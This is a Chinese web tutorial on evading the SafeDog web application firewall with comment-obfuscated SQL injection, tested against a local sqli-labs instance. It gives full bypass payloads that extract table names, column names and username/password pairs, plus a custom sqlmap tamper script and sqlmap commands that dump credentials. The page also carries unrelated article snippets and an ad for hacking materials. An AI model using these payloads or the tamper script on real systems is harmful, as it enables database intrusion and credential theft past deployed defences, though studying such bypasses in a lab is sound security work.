<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
安全狗其實是比較好繞的WAF,繞過方法很多,但這裡我們就用一種:註釋混淆
一招鮮吃遍天
註釋混淆,其實就是在敏感位置新增垃圾字元註釋,常用的垃圾字元有/、!、*、%
等
這裡再解釋一下內聯註釋,因為後面要用到:
MySQL內聯註釋: /*!xxxxxxx*/
!後面的語句會當作SQL語句直接執行
但是如果!
後面跟著MySQL版本號,那麼就會出現兩種情況
當!
後面接的資料庫版本號小於自身版本號,就會將註釋中的內容執行當!
後面接的資料庫版本號大於等於自身版本號,就會當做註釋來處理。
幫助網安學習,全套資料S信免費領取:
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP使用者端安全檢測指南(安卓+IOS)
資料庫版本號以五位數位表示,比如當前環境下資料庫版本號表示為:50553
!
後面接小於50553的:
執行了select 1;
!
後面接大於等於50553的:
執行了 select ;
下面進入正題
and 1=1
攔
但是把空格刪掉就不攔了
所以,我們認為,and後面不能直接跟空格…
那麼如果用其他形式表示空格呢?
前面說了,我們這次只使用註釋混淆:
burp,抓包設定
長度5335是被攔截的
長度為899的說明成功繞過
我們選擇其中一個作為空格的替代者就好了,這裡我們選擇/*%*
即:
->/*/*%**/
同理 ,or
是一樣的:
測試發現還是隻要替換order by
中間的空格就可以了,所以繞過方法和前面一樣:
union select
使用之前的垃圾字元替換空格發現不行了:
但是先不急於換方法,再爆破一遍試試:
發現又有很多可以繞過的了。
所以我們再更改一下替換空格的垃圾字元, 這裡選/*/!%!/*/
即:
->/*/!%!/*/
獲得當前資料庫
正常語句:
?id=-1 union select 1,database(),3 --+
繞過:
即:()
->(/*/!%!/*/)
獲取資料庫中的表
正常語句:
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
繞過:
經過測試發現攔截的是select + from + information_schema
的組合
中間加垃圾字元替換空格已經不管用了,我們嘗試對關鍵字進行混淆。
對information_schema
進行混淆測試:
首先使用內聯註釋,發現,這裡的版本號不管寫啥,都直接被攔。
考慮是檢測了select + from + /*! + information_schema
的組合
還是不行…
那既然都換行了,那我們再在換行前加一些垃圾字元:
如果我們直接插入垃圾字元,會當作SQL語句執行,所以前面還需要在垃圾字元前加個註釋,可以是
/**/
或#
或--+
但是經過測試只有
--+
好用
有這麼多可以繞過的,我們隨便選擇一個,比如/*%/
這樣,最終語句如下:
?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,group_concat(table_name),3/*/!%!/*/from/*/!%!/*//*!00000--+/*%/%0ainformation_schema.tables*/%20where%20table_schema=database(/*/!%!/*/)--%20+
正常語句:
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
繞過語句:
?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,group_concat(column_name),3/*/!%!/*/from/*/!%!/*//*!00000--+/*%/%0ainformation_schema.columns*/%20where%20table_name=0x7573657273--%20+
獲取欄位資訊
?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,/*/!%!/*/group_concat(username,0x2f,password),3/*/!%!/*/from/*/!%!/*/users
成功。
當我們下載了SQLMap,解壓後,我們可以找到資料夾【tamper】,該資料夾有很多個Tamper指令碼幫助我們繞過一些安全防護:
網上有很多相關指令碼的介紹,我就不一一介紹了。
雖然SQLMap提供了這麼多的Tamper指令碼,但是在實際使用的過程中,網站的安全防護並沒有那麼簡單,可能過濾了許多敏感的字元以及相關的函數。這個時候就需要我們針對目標的防護體系構建相應的Tamper指令碼。
Tamper相當於一個加工車間,它會把我們的Payload進行加工之後發往目標網站。
我們隨便開啟一個Tamper指令碼看一下它的結構:
#apostrophemask.py #!/usr/bin/env python """ Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ # 匯入SQLMap中libcoreenums中的PRIORITY優先順序函數 from lib.core.enums import PRIORITY # 定義指令碼優先順序 __priority__ = PRIORITY.LOWEST # 對當前指令碼的介紹 def dependencies(): pass ''' 對傳進來的payload進行修改並返回 函數有兩個引數。主要更改的是payload引數,kwargs引數用得不多。 ''' def tamper(payload, **kwargs): """ Replaces apostrophe character (') with its UTF-8 full width counterpart (e.g. ' -> %EF%BC%87) References: * http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128 * https://web.archive.org/web/20130614183121/http://lukasz.pilorz.net/testy/unicode_conversion/ * https://web.archive.org/web/20131121094431/sla.ckers.org/forum/read.php?13,11562,11850 * https://web.archive.org/web/20070624194958/http://lukasz.pilorz.net/testy/full_width_utf/index.phps >>> tamper("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' """ return payload.replace(''', "%EF%BC%87") if payload else payload
可見Tamper指令碼的結構非常簡單,其實滲透測試中的主要難點還是如何去繞過WAF。
下面我們針對bypass部分的繞過方法進行編寫Tamper指令碼,來實現自動化SQL隱碼攻擊:
實際測試的時候發現,sqlmap預設語句中的
AS
關鍵字也會被攔截,這裡也用同樣的方法替換一下就好
#!/usr/bin/env python import re from lib.core.settings import UNICODE_ENCODING from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): if payload: payload = payload.replace(" ","/*/!%!/*/") payload = payload.replace("()","(/*/!%!/*/)") payload = re.sub(r"(?i)(INFORMATION_SCHEMA.SCHEMATA)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.SCHEMATA*/",payload) payload = re.sub(r"(?i)(INFORMATION_SCHEMA.TABLES)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.TABLES*/",payload) payload = re.sub(r"(?i)(INFORMATION_SCHEMA.COLUMNS)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.COLUMNS*/",payload) payload = re.sub(r"(?i)(/AS/)",r"//*!00000--%20/*%/%0aAS*//",payload) return payload
測試:
sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent
sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent --dbs
sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security --tables
python2 sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security -T users --columns
sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security -T users -C username,password --dump --stop 3
到此這篇關於教你編寫SQLMap的Tamper指令碼過狗的文章就介紹到這了,更多相關SQLMap的Tamper指令碼內容請搜尋it145.com以前的文章或繼續瀏覽下面的相關文章希望大家以後多多支援it145.com!
相關文章
<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
综合看Anker超能充系列的性价比很高,并且与不仅和iPhone12/苹果<em>Mac</em>Book很配,而且适合多设备充电需求的日常使用或差旅场景,不管是安卓还是Switch同样也能用得上它,希望这次分享能给准备购入充电器的小伙伴们有所
2021-06-01 09:31:42
除了L4WUDU与吴亦凡已经多次共事,成为了明面上的厂牌成员,吴亦凡还曾带领20XXCLUB全队参加2020年的一场音乐节,这也是20XXCLUB首次全员合照,王嗣尧Turbo、陈彦希Regi、<em>Mac</em> Ova Seas、林渝植等人全部出场。然而让
2021-06-01 09:31:34
目前应用IPFS的机构:1 谷歌<em>浏览器</em>支持IPFS分布式协议 2 万维网 (历史档案博物馆)数据库 3 火狐<em>浏览器</em>支持 IPFS分布式协议 4 EOS 等数字货币数据存储 5 美国国会图书馆,历史资料永久保存在 IPFS 6 加
2021-06-01 09:31:24
开拓者的车机是兼容苹果和<em>安卓</em>,虽然我不怎么用,但确实兼顾了我家人的很多需求:副驾的门板还配有解锁开关,有的时候老婆开车,下车的时候偶尔会忘记解锁,我在副驾驶可以自己开门:第二排设计很好,不仅配置了一个很大的
2021-06-01 09:30:48
不仅是<em>安卓</em>手机,苹果手机的降价力度也是前所未有了,iPhone12也“跳水价”了,发布价是6799元,如今已经跌至5308元,降价幅度超过1400元,最新定价确认了。iPhone12是苹果首款5G手机,同时也是全球首款5nm芯片的智能机,它
2021-06-01 09:30:45